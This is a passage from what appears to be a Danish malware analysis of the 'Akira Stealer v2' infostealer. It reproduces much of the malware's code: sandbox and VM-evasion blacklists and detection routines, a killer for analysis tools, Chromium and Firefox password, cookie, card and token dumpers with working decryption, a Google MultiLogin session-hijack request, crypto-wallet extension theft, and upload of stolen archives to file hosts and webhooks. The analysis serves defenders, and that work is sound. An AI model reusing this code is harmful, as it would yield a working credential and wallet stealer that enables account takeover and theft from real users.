'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
# ... dozens more ...
'glasswire','requestly'
)
Værktøjerne, som incident responders og malwareanalytikere ofte bruger, neutraliseres, før de kan indsamle meningsfulde adfærdsartefakter.
Sammenfatning
Akira bruger et avanceret arsenal af anti-analyseteknikker rettet mod flere systemlag, fra miljøvariabler og registry-nøgler til netværkssonderinger og processlister. Mekanismerne er bygget til at opdage og omgå både automatiserede sandkasser og manuelle inspektionsopsætninger.
Kombinationen af passivt fingeraftryk og aktiv undertrykkelse, for eksempel task killing, viser, hvordan selv malwarefamilier i mellemklassen nu indbygger omgåelseslogik i flere lag.
7.3.12 Komplette blacklists og detektionsfunktioner
Blacklistede hardware-UUID'er
BLACKLISTED_UUIDS = (
'7AB5C494-39F5-4941-9163-47F54D6D5016',
'032E02B4-0499-05C3-0806-3C0700080009',
'03DE0294-0480-05DE-1A06-350700080009',
'11111111-2222-3333-4444-555555555555',
'6F3CA5EC-BEC9-4A4D-8274-11168F640058',
'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
'4C4C4544-0050-3710-8058-CAC04F59344A',
'00000000-0000-0000-0000-AC1F6BD04972',
'00000000-0000-0000-0000-000000000000',
'5BD24D56-789F-8468-7CDC-CAA7222CC121',
'49434D53-0200-9065-2500-65902500E439',
'49434D53-0200-9036-2500-36902500F022',
'777D84B3-88D1-451C-93E4-D235177420A7',
'49434D53-0200-9036-2500-369025000C65',
'B1112042-52E8-E25B-3655-6A4F54155DBF',
'00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
'A15A930C-8251-9645-AF63-E45AD728C20C',
'67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
'C7D23342-A5D4-68A1-59AC-CF40F735B363',
'63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
'44B94D56-65AB-DC02-86A0-98143A7423BF',
'6608003F-ECE4-494E-B07E-1C4615D1D93C',
'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
'49434D53-0200-9036-2500-369025003AF0',
'8B4E8278-525C-7343-B825-280AEBCD3BCB',
'4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
'79AF5279-16CF-4094-9758-F88A616D81B4',
'FE822042-A70C-D08B-F1D1-C207055A488F',
'76122042-C286-FA81-F0A8-514CC507B250',
'481E2042-A1AF-D390-CE06-A8F783B1E76A',
'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
'9961A120-E691-4FFE-B67B-F0E4115D5919'
)
Blacklistede computernavne
BLACKLISTED_COMPUTERNAMES = (
'00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)
Blacklistede brugerkonti
BLACKLISTED_USERS = (
'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)
Blacklistede processer for analyseværktøjer
BLACKLISTED_TASKS = (
'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
'discordtokenprotector', 'glasswire', 'requestly'
)
De centrale detektionsmetoder
@staticmethod
def checkUUID() -> bool:
"""WMIC hardware UUID against known VM IDs."""
try:
raw = subprocess.run(
"wmic csproduct get uuid",
shell=True, capture_output=True
).stdout.splitlines()[2].decode(errors='ignore').strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
@staticmethod
def checkComputerName() -> bool:
"""ENV %COMPUTERNAME% in VM name list."""
return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES
@staticmethod
def checkUsers() -> bool:
"""Current login username in VM users list."""
return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS
@staticmethod
def checkHosting() -> bool:
"""Query ip-api.com/hosting → 'true' indicates cloud VM."""
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET', 'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
@staticmethod
def checkHTTPSimulation() -> bool:
"""
Attempt TLS to random subdomain.
Failure → possible HTTPS interception/sandbox.
"""
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
return True
except:
return False
@staticmethod
def checkRegistry() -> bool:
"""
Look for VirtualBox/VMware in:
- Registry driver entries
- Video card name via WMIC
- Presence of VM-specific folders
"""
r1 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
shell=True, capture_output=True
)
r2 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
shell=True, capture_output=True
)
gpu = any(
x.lower() in subprocess.run(
"wmic path win32_VideoController get name",
shell=True, capture_output=True
).stdout.decode().splitlines()[2].lower()
for x in ("virtualbox", "vmware")
)
dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs
@staticmethod
def killTasks() -> None:
"""Continuously terminate known analysis processes."""
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
7.3.13 Eksekverings- og afbrydelseslogik
- Initialisering: Inde i konstruktøren
Akira.__init__()kalder malwaren omgåendeVmProtect.isVM(1)for at gennemføre hurtige virtualiseringstjek med lav overhead, for eksempel hostname, bruger og HTTPS-simulering. - Dybdegående inspektion: Passerer den første test, kalder den
VmProtect.isVM(2), hvilket udløser mere omfattende tjek, herunder validering af hardware-UUID, hosting-detektion viaip-api.comog scanning af registry-artefakter. - Afbrydelsesvejen: Returnerer et af tjekkene
True, hvilket peger på et virtuelt miljø eller analysemiljø, kører kodensys.exit()og afslutter eksekveringen, før nogen rutiner til dataindsamling eller eksfiltrering går i gang.
7.3.14 Konklusion
Modulet VmProtect i Akira Stealer v2 demonstrerer et lagdelt forsvar mod analyse, der udnytter både lokale systemfingeraftryk og netværksbaserede heuristikker. Ved at forstå og instrumentere netop disse tjek kan forsvarere vende situationen og opdage den slags undvigende malware i produktionsmiljøer.
7.4 Eksfiltrering af browserdata
Et af kerneformålene med Akira Stealer v2 er storstilet udtræk af følsomme data, browseren har gemt. Malwaren implementerer skræddersyede moduler rettet mod både Chromium-baserede og Gecko-baserede (Firefox) browsere. Den kan udtrække og dekryptere gemte adgangskoder, cookies, kreditkortdata, autofyld-poster og endda sessionstokens, der kan bruges til at kapre konti helt.
1. Opsætning af arbejdsområdet
client_dir = Utils.get_temp_folder() # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
- Opretter et engangsområde til staging under systemets temp-mappe, navngivet efter offerets maskine (%TEMP%\DESKTOP-
), så alle eksfiltrerede artefakter samles på et sted, der let kan arkiveres. - Isolerer data efter type: seks dedikerede undermapper (Passwords, Cookies, CreditCards, History, Autofill, Wallets) forhindrer navnesammenstød og gør den senere zipning enklere, for hver udtræksrutine skriver kun i sin egen mappe.
- Idempotent oprettelse af mapper bruger exist_ok=True, så hvis malwaren kører igen, for eksempel ved genstart eller via persistens, crasher den ikke og overskriver ikke eksisterende data. Nye elementer føjes blot til den samme struktur.
- Muliggør selektiv oprydning: når upload og notifikation er gennemført, kan stealeren kalde Utils.clear_client_folder() for rekursivt at slette udelukkende sit eget arbejdsområde, uden at efterlade filer.
- Baner vejen for parallelle udtrækstråde: fordi alle mål er oprettet på forhånd, kan baggrundstråde, der høster loginoplysninger fra browsere, cookies, autofyld, data fra kryptowallets og så videre, skrive resultater med det samme uden yderligere tjek. Det mindsker overhead og indsnævrer det vindue, hvor defensive hooks kan opdage uventet fil-I/O.
2. Understøttede browsere
- Chromium-baserede
- Google Chrome (Stable & SxS)
- Microsoft Edge
- Brave Browser
- Opera & Opera GX
- Chromium
- Comodo Dragon
- Epic Privacy Browser
- Iridium Browser
- UR Browser
- Vivaldi Browser
- Yandex Browser
- Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
- Firefox-baserede (via
GeckoDriver)- Mozilla Firefox
- Waterfox
- Pale Moon
Akira finder dynamisk brugerprofilerne ved hjælp af miljøvariabler og velkendte mappestrukturer:user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
Den gennemgår rekursivt de tilgængelige browserprofiler (for eksempelDefault,Profile 1osv.) og går efter SQLite-databaserne i de stier.
7.4.1 Udtrukne datatyper
| Datatype | Kildefil | Bemærkninger |
|---|---|---|
| Gemte adgangskoder | Login Data (Chromium) |
Dekrypteres via DPAPI eller AES-GCM (efter Chromium v80) |
| Cookies | Cookies |
Kan indeholde sessionstokens, især til Google- og Facebook-konti |
| Autofyld-data | Web Data |
Adresser, e-mailadresser, telefonnumre og lignende |
| Kreditkort | Web Data |
Krypteret, kræver masternøglen |
| Sessionstokens | I hukommelsen og cookies | Omfatter Gmail, Google-konti og replay af Discord OAUTH |
| Historik og URL'er | History, Visited Links |
Blev også eksfiltreret til angriberen |
3. Udtræksmodulerne Når malwareforfattere går efter browsere, er deres største skattekister de forskellige SQLite-databaser, hvor Chrome, Firefox og deres slægtninge gemmer loginoplysninger, cookies, historik og autofyld-poster. astor.py sætter letvægts-Python og native API'er sammen til metodisk at plukke hver enkelt bid data, og endda til at replaye levende OAuth-sessioner, uden at efterlade spor. Nedenfor følger en dybdegående gennemgang modul for modul, ordret fra koden.
7.4.2 Adgangskodedumper (Chromium.GetPasswords)
Modulet gennemsøger systematisk alle Chromium-baserede browserprofiler for at udtrække gemte loginoplysninger. Den går efter SQLite-databasen Login Data, henter brugernavne og krypterede adgangskoder og bruger derefter platformens krypteringsnøgle, hentet via DPAPI eller AES-GCM, til at dekryptere dem til klartekst. De loginoplysninger er meget værdifulde til at bevæge sig videre efter en kompromittering eller til at overtage konti.
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == "login data":
# Copy DB → open → extract rows
results = cursor.execute(
"SELECT origin_url, username_value, password_value FROM logins"
).fetchall()
for url, user, pwd_blob in results:
clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
passwords.append((url, user, clear_pwd))
- Finder hver
Login Data-SQLite-database under browserensUser Data-mappe. - Kopierer til en midlertidig fil for at undgå låse fra browseren.
- SQL-forespørgsel:
SELECT origin_url, username_value, password_value FROM logins. - Dekrypterer hver
password_value-blob via AES-GCM (v10/v11) eller med Windows DPAPI som fallback. - Skriver resultatet til
Passwords/<BrowserName> Passwords.txt.
7.4.3 Kreditkortdumper (Chromium.GetCreditCards)
Her henter stealeren gemte kreditkortdata fra hver browserprofils Web Data-fil. Den koncentrerer sig om at udtrække udløbsoplysninger og krypterede kortnumre, som derefter dekrypteres med den samme logik som adgangskoderne. CVV-koder gemmes typisk ikke, men de genfundne oplysninger kan alligevel misbruges til card-not-present-svindel.
results = cursor.execute(
"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
cc_number = self.Decrypt(enc_cc, encryptionKey)
ccs.append((cc_number, month, year))
- Går efter SQLite-lagrene i
Web Dataunder hver profil. - SQL-forespørgsel:
SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards. - Dekrypterer
card_number_encryptedpræcis som adgangskodeblobbene. - Skriver resultatet til
CreditCards/<BrowserName> CreditCards.txt.
7.4.4 Cookiedumper (Chromium.GetCookies)
Cookies, og især sessionscookies, er førstevalget, når konti skal kapres uden adgangskoder. Modulet dumper alle cookiefiler på tværs af profiler, dekrypterer dem og samler væsentlige metadata som domæne, navn og udløbstid. Sammen med fingerprinting kan cookies af den type bane vejen for replay-angreb mod autentificerede tjenester uden videre modstand.
results = cursor.execute(
"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
cookie_val = self.Decrypt(blob, encryptionKey)
cookies.append((host, name, path, cookie_val, expiry))
- Scanner hver
Cookies-SQLite-database. - Vælger
host_key, name, path, encrypted_value, expires_utc. - Dekrypterer hver
encrypted_value-blob for at afsløre den faktiske cookiestreng. - Gemmer i
Cookies/<BrowserName> Cookies.txt.
7.4.5 Google-sessionsdumper (Chromium.dump_google_sessions)
Rutinen er en af de mere avancerede komponenter. Den dekrypterer gemte OAuth-tokens fra tabellen token_service. Ved at replaye dem via Googles multilogin-endpoint kan malwaren genskabe aktive sessionscookies, og det giver angribere mulighed for at kapre Google-konti uden loginoplysninger. Det illustrerer, hvordan adgangstokens er blevet et af de mest attraktive mål i moderne stealere.
cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
iv = blob[3:15]
ciphertext = blob[15:-16]
cipher = AES.new(secret_key, AES.MODE_GCM, iv)
token = cipher.decrypt(ciphertext).decode()
# Replays via POST to OAuth endpoint
response = requests.post(
"https://accounts.google.com/oauth/multilogin",
headers={"Authorization": f"MultiBearer {token}:{service_id}"},
data={"source": "com.google.Drive"}
)
save each account’s cookies to file
- Henter
serviceog den råencrypted_tokenfra kopien afWeb Data. - AES-GCM-dekryptering med browserens
Local State-nøgle. - Replayer de dekrypterede tokens i en POST-forespørgsel til Googles
multilogin-API for at genskabe gyldige OAuth-cookies. - Skriver sessionsfiler pr. konto under
Cookies/<display_email> Google Session.txt.
7.4.6 Historikdumper (Chromium.GetHistory)
Funktionen udtrækker poster fra browserhistorikken, herunder URL, titel og besøgsfrekvens. Ud over indgrebet i privatlivet hjælper de data angribere med at forstå offerets adfærd, udpege mål med høj værdi, for eksempel bankportaler, eller skræddersy payloads til social engineering.
results = cursor.execute(
"SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
- Vælger
url, title, visit_count, last_visit_timefra hverHistory-database. - Sorterer posterne efter
last_visit_timei faldende rækkefølge. - Skriver
History/<BrowserName> History.txt.
7.4.7 Autofyld-dumper (Chromium.GetAutofills)
Autofyld-poster som adresser, navne, e-mailadresser og af og til betalingsrelaterede data skrabes ud af browserens Web Data-lager. Hver for sig virker værdierne ikke kritiske, men lagt sammen giver de en fyldig profil af offerets identitet og adfærd.
results = cursor.execute(
"SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
autofills.append((field.strip(), value.strip()))
- Henter formularposter:
name, valuefra filenweb data. - Skriver dem ud som
Autofill/<BrowserName> Autofill.txt.
7.4.8 Firefox-profilindsamler (GeckoDriver & grabFirefoxProfiles)
Til forskel fra de finkornede Chromium-rutiner vælger funktionen en bred tilgang: den komprimerer hele Firefox-profilmappen, inklusive gemte logins, cookies og bogmærker, og eksfiltrerer den i sin helhed. Det sikrer, at angribere kan analysere eller udtrække data offline og omgå forhindringerne ved dekryptering med kendt NSS-værktøj.
with zipfile.ZipFile(zip_path, 'w') as zipf:
for root, dirs, files in os.walk(source_path):
zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
- Zipper hele mappen
%APPDATA%\Mozilla\Firefox\Profiles. - Navngiver den
%TEMP%\<ComputerName>_Firefox_profiles.zipog sender downloadlinket over de samme webhook-kanaler. - Kalder desuden de samme SQLite-baserede udtræksfunktioner (
logins.json,cookies.sqlite,places.sqlite) mod hver Firefox-profil, med de NSS-dekrypteringsrutiner der allerede findes.
7.4.9 Sammenfatning af udtrækket
Astor.py orkestrerer en gennemgribende kompromittering af browseren ved systematisk at høste hver enkelt loginoplysning og sessionsartefakt på tværs af Chromium-baserede klienter og Firefox. Den finder og kopierer sikkert hvert SQLite-lager, altså Login Data, Web Data, Cookies, History og autofill, og kører derefter målrettede SQL-forespørgsler for at udtrække URL'er, brugernavne, adgangskoder, kreditkortoplysninger, cookies, browserhistorik og formularposter. Adgangskoder og betalingsdata dekrypteres via AES-GCM eller med Windows DPAPI som fallback, mens cookies pakkes ud på samme måde for at afsløre deres klartekstværdier. For Google-konti dekrypteres krypterede OAuth-tokens fra token_service og replayes mod multilogin-API'et for at genskabe levende sessionscookies. Til sidst arkiveres Firefox-profiler i deres helhed (inklusive logins.json, cookies.sqlite og places.sqlite) og leveres som ZIP-filer, så ingen artefakt bliver efterladt. Hele denne kæde kører lydløst under %TEMP%\<ComputerName> og producerer pænt organiserede outputfiler for hver datakategori.
7.5 Dekrypteringslogikken
Moderne browsere som Chrome og Edge krypterer følsomme data, for eksempel adgangskoder, cookies og kreditkortoplysninger, før de gemmes lokalt. Akira har indbyggede dekrypteringsrutiner, der er skræddersyet til at håndtere både ældre og nuværende Chromium-krypteringsmetoder. Det sikrer, at den kan udtrække klartekstdata uanset systemets patchniveau eller browserversion.
Kernen i processen er udtrækket og dekrypteringen af browserens masterkrypteringsnøgle, der ligger i en fil kaldet Local State. Afhængigt af browserversion og Windows-build vælger Akira dynamisk den rigtige dekrypteringsmetode:
DPAPI (Data Protection API) bruges på ældre systemer, hvor Chrome gemmer hemmeligheder beskyttet af den aktuelle brugers Windows-loginoplysninger.
AES-GCM bruges i moderne Chromium-builds, hvor en tilfældigt genereret masternøgle selv er krypteret med DPAPI og derefter bruges til kryptering af brugerdata inde i appen.
Ved først at dekryptere masternøglen i Local State får Akira mulighed for at låse alle browserens hemmeligheder op, og det baner vejen for udtræk af loginoplysninger, tokens, cookies og mere.
Udtræk af nøglen
local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
Dekryptering (AES-GCM):
nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
Er der behov for at falde tilbage på DPAPI, hvilket sker på ældre systemer, bruges win32crypt.CryptUnprotectData().
Forklaring af decrypt_password_blob:
Funktionen viser, hvordan Akira Stealer dekrypterer hver gemt adgangskodeværdi fra Chromium-baserede browsere. Den håndterer to tilfælde:
- Windows DPAPI-blobs (ældre eller ikke-GCM-krypterede data): Falder tilbage på systemkaldet
CryptUnprotectData, der bruger brugerens Windows-loginoplysninger til at dekryptere. - AES-GCM-krypterede blobs (Chrome v10/v11-format): Læser versionsheaderen, udtrækker IV og autentificeringstag og bruger biblioteket
cryptographytil at dekryptere payloaden sikkert.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
"""
Decrypts a Chrome password blob using either DPAPI or AES-GCM.
Parameters:
- buffer: raw encrypted blob from the `password_value` field
- key: the master AES key retrieved via DPAPI from Local State
Returns:
- Decrypted UTF-8 plaintext password
"""
# 1) DPAPI fallback for non-AES-GCM blobs
if not buffer.startswith((b'v10', b'v11')):
# Uses Windows CryptUnprotectData under the hood
return CryptUnprotectData(buffer)
# 2) AES-GCM decryption for Chrome v10/v11 format:
# Bytes layout:
# [0:3] = version header ('v10'/'v11')
# [3:15] = initialization vector (IV)
# [15:-16] = ciphertext payload
# [-16:] = GCM authentication tag
iv = buffer[3:15]
ciphertext = buffer[15:-16]
tag = buffer[-16:]
# Initialize AES-GCM cipher with extracted IV and tag
cipher = Cipher(
algorithms.AES(key),
modes.GCM(iv, tag),
backend=default_backend()
)
decryptor = cipher.decryptor()
# Perform decryption; raises if authentication fails
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
# Decode to UTF-8, ignoring any stray errors
return plaintext.decode('utf-8', errors='ignore')
7.6 Kapring af sessionstokens
Akira stopper ikke ved passiv dataindsamling, den kaprer aktivt levende sessionstokens for at udgive sig for offeret i realtid. Efter at have udtrukket krypterede tokens fra browserens lager opbygger den den nødvendige autorisationsheader igen og replayer en MultiLogin-forespørgsel mod Googles OAuth-endpoint. Kodeudsnittet nedenfor illustrerer processen:
# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
"Authorization": f"SAPISIDHASH {timestamp}_{signature}",
"Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
"https://accounts.google.com/accounts/multilogin",
headers=headers,
json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
# Victim’s cookies now present in response.cookies
hijacked_cookies = response.cookies
Ved at replaye forespørgslen kan Akira udgive sig for brugerens Gmail, Drive eller enhver anden Google-tjeneste, der er beskyttet af en gyldig session, helt uden loginoplysninger. Teknikken udnytter Googles egen logik for at acceptere tokens, og det gør den næsten umulig at skelne fra legitim klientadfærd.
7.7 Firefox-dekryptering
Gecko-baserede browsere som Firefox krypterer gemte loginoplysninger og cookies med en masternøgle, der ligger i key4.db. Akira rummer en afklædt dekrypteringsrutine, der spejler Mozillas NSS-logik og håndterer både 3DES- og AES-CBC-varianter uden at udløse prompten om masteradgangskoden. Eksempel på brug:
# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()
# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))
print("Decrypted Firefox password:", clear_password)
Med rutinen kan Akira uden videre dumpe logins.json, cookies.sqlite og places.sqlite for hver Firefox-profil og skrive det dekrypterede output til:
Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt
Fremgangsmåden går rundt om kontrollen af masteradgangskoden på brugerniveau og giver stealeren uhindret adgang til alle gemte loginoplysninger.*
4. Filstruktur og navngivning
<ComputerName>.zip
└── <ComputerName>\
├── Passwords\
│ ├── Chrome Passwords.txt
│ ├── Edge Passwords.txt
│ └── …
├── Cookies\
│ ├── Chrome Cookies.txt
│ ├── Edge Cookies.txt
│ ├── user@example.com Google Session.txt
│ └── …
├── CreditCards\
│ ├── Chrome CreditCards.txt
│ └── …
├── History\
│ ├── Chrome History.txt
│ └── …
├── Autofill\
│ ├── Chrome Autofill.txt
│ └── …
└── Wallets\
├── Firefox_Default_profiles.zip
├── Firefox_Profile1_profiles.zip
└── …
- Hver
.txt-fil begynder med en fast header (<================[Akira Stealer v2]>================>) og en skillelinje (====…====). - ZIP-filen på disken:
%TEMP%\<ComputerName>.zip. - Filnavnsetiketten til C&C:
Akira-<username>.zip.
5. Eksfiltrering og oprydning
url = Webhook.uploadToGofile(zip_path)
if not url:
url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
- Den primære kanal (GoFile.io): Malwaren forsøger først at uploade ZIP-arkivet med alle de stjålne artefakter til GoFile.io og læser JSON-svaret for at finde en
downloadPage-URL, der giver angriberen direkte adgang til arkivet. - Automatiske fallbacks: Skulle GoFile-endpointet fejle, for eksempel på grund af timeout i netværket eller rate limiting, falder koden uden videre tilbage på
file.io, og returnerer den også et tomt link, til sidst påoshi.at. Begge alternativer kaldes uden at kaste exceptions, så en af de tre tjenester altid bliver forsøgt i rækkefølge. - Rapportering via webhook: Når en URL er fastlagt, eller en tom streng ved vedvarende fejl, kaldes
Webhook.sendDataTG(...), der pakker downloadlinket, maskinidentifikatorerne (chatId, flagetstartup) og alle kategoritællinger (adgangskoder, cookies, autofyld, wallets) sammen i én enkelt Discord- eller Telegram-besked. - Øjeblikkelig oprydning: Efter rapporteringen sletter
Utils.clear_client_folder()rekursivt hele det midlertidige arbejdsområde og selve ZIP-filen, så der ikke efterlades spor af de høstede data eller arkivet på disken.
Robusthed over for fejl:
- Alle uploadrutiner returnerer
""ved fejl i stedet for at kaste en exception, hvilket garanterer, at kodeflowet fortsætter.- Selv hvis ingen af tjenesterne kan nås, sender malwaren stadig en webhook-rapport, om end med et manglende link, før de lokale artefakter slettes. Det minimerer de forensiske rester, medmindre processen crasher uventet.
6. Robusthed og fejlhåndtering
- Finkornet håndtering af exceptions: Hver interaktion med filsystemet, om det er
shutil.copy, SQLite-forespørgsler eller ZIP-operationer, er pakket ind itry/except-blokke. Opstår der en fejl, for eksempel en låst database, nægtet adgang eller en beskadiget post, fanges exceptionen og logges viaAkira.logErrorTg(), og kørslen fortsætter. Det isolerer fejlen til netop den fil eller det modul. - Trådisolering pr. browser: Udtræksrutinerne for hver understøttet browser kører i deres egen tråd. Det flertrådede design sikrer, at et crash eller et deadlock i én browsers udtræk, for eksempel en beskadiget profil eller en manglende nøgle, ikke standser eller forsinker analysen af de øvrige browsere.
- Lydløse fallbacks og standardværdier: Mange hjælperutiner, for eksempel upload til alternative filværter, tjek af eksterne ressourcer eller start af underprocesser, bruger indlejrede
try/except-blokke uden synlige advarsler, og det maksimerer stealth. Standardværdierne, tomme strenge og booleans, er valgt for at holde flowet uforstyrret og fjerne åbenlyse fejltilstande. - Mutex og beskyttelse ved opstart: En navngiven mutex (
1qsMlseJplTlArIF14f) forhindrer flere instanser, mens registry-tjek ogUtils.CreateMutex()beskytter mod samtidige kørsler og giver ekstra stabilitet i praktisk brug.
7.8 Eksfiltrering af wallets og tokens
I denne fase gennemfører Akira Stealer v2 sin mest omfattende gennemsøgning efter kryptovaluta-loginoplysninger og sessionstokens, og den dækker browserudvidelser, desktop-wallets, tokens fra beskedtjenester og keylogging i realtid. Den kører i parallelle tråde, så ingen vektor bliver overset. Nedenfor følger en dybdegående gennemgang trin for trin med kodeeksempler.
7.8.1 Wallets som browserudvidelser
Mål: Over 80 udvidelser i udbredte browsere, heriblandt MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og flere.
# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
["MetaMask", "nkbihfbeogaeaoehlefnkodbefgpgknn"],
["Phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
["TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph"],
["CoinbaseWallet", "hfhmhopkfngkjcalldmaepmpilmjjemb"],
["Solflare", "bhhhlbepdkbapadjdnnojkbgioiodbic"],
["BinanceChain", "fhbohimaelbohpjbbldcngcnapndodjp"],
["Keplr", "dmkamcknogkgcdfhhbddcghachkejeap"],
["Nami", "lpfcbjknijpeeillifnkikgncikgfhdo"],
["Talisman", "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
["TronLink", "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
# ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
base = os.path.join(user_data, "Default", "Local Extension Settings")
for ext_name, ext_id in walletsExtensions:
src = os.path.join(base, ext_id)
if os.path.isdir(src):
dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
shutil.copytree(src, dest, dirs_exist_ok=True)
data.ext_wallets_count += 1
- Kopierede filer: Udvidelsesspecifikke IndexedDB-, LevelDB-, JSON- og konfigurationsfiler, der indeholder krypterede nøgler, seed-sætninger og loginoplysninger.
- Resultatmappen:
Wallets/MetaMask_Chrome/,Wallets/Phantom_Edge/med flere.
7.8.2 Desktop-wallets
Mål: Store desktopklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flere.
walletsDesktop = [
["Electrum", os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
["Exodus", os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
["Guarda", os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
["Rabby", os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
["Coinomi", os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
